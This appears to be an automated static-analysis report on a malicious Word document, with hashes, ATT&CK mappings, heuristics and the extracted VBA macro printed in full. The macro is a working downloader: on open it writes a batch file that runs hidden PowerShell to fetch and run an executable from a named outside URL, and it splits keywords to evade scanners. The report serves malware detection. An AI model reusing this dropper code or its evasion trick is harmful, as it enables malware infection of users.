Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 676cb0daf581594a…

MALICIOUS

Office (OLE)

30.0 KB Created: 2021-06-29 16:46:00 Authoring application: Microsoft Office Word First seen: 2021-07-10
MD5: 1baf82e12ea5bcca269b5eb6c07e6eef SHA-1: 6e8bb249f7f5515ded94a1a38f11dd1bcb3c59d5 SHA-256: 676cb0daf581594a68658925928e10ae97baabbe7b48841e8896f62c1ff4737b
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that execute upon opening the document. The Document_Open macro writes a batch file to C:\Users\Public\Documents\forwardadd.bat which then uses Start-BitsTransfer to download a second-stage executable from http://tawacoffee.com.co/cmstimer.exe to C:\Users\Public\Documents\lowresponsibility.exe and subsequently executes it. This indicates a downloader pattern designed to fetch and run further malicious payloads.

Heuristics 7

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Document_Open()
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set humanmother = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://tawacoffee.com.co/cmstimer.exe In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 952 bytes
SHA-256: d8cf25a60910d402c14072cd6445fe27972899a9650144e2be3fcc81aa39afe2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
mywith = "C:\Users\Public\Documents\forwardadd.bat"
administrationnews = FreeFile
powerr = "powers"
rshell = "hell"
Open mywith For Output As administrationnews
Print #administrationnews, powerr & rshell & " -w h Start-BitsTransfer -Source http://tawacoffee.com.co/cmstimer.exe -Destination C:\Users\Public\Documents\lowresponsibility.exe;C:\Users\Public\Documents\lowresponsibility.exe"
Close #administrationnews
Set humanmother = CreateObject("Shell.Application")
Call humanmother.Open(mywith)
End Sub

Attribute VB_Name = "Module1"
Sub gamewhether()
'
' gamewhether Macro
' NZMXFZ2KBBFC
'
End Sub

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